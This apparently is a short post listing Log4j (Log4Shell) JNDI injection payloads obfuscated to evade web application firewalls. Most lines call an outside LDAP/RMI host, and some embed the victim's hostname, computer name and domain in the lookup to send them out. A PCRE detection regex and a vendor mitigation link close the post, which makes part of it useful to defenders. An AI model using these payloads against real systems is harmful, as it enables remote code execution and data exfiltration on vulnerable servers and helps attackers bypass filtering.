Collection of WAF evasion payloads

Log4j Payloads

${jndi:ldap://127.0.0.1:1389/ badClassName} 
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

This is the best I could find at the moment, https://twitter.com/egglessness_/status/1470184935730434050

I wrote this PCRE; I am it's author. I found it matches all evasion samples shared above. Good luck - Nathan Fowler!

/[uperlow\x24-\x26\x28\29\x5b\x5d\x7b\x7d\x3a-]+[Jj][uperlow\x24-\x26\x28\29\x5b\x5d\x7b\x7d\x3a-]*[Nn][uperlow\x24-\x26\x28\29\x5b\x5d\x7b\x7d\x3a-]*[Dd][uperlow\x24-\x26\x28\29\x5b\x5d\x7b\x7d\x3a-]*[Ii]/

You can find the implementation of F5 in the following link https://support.f5.com/csp/article/K19026212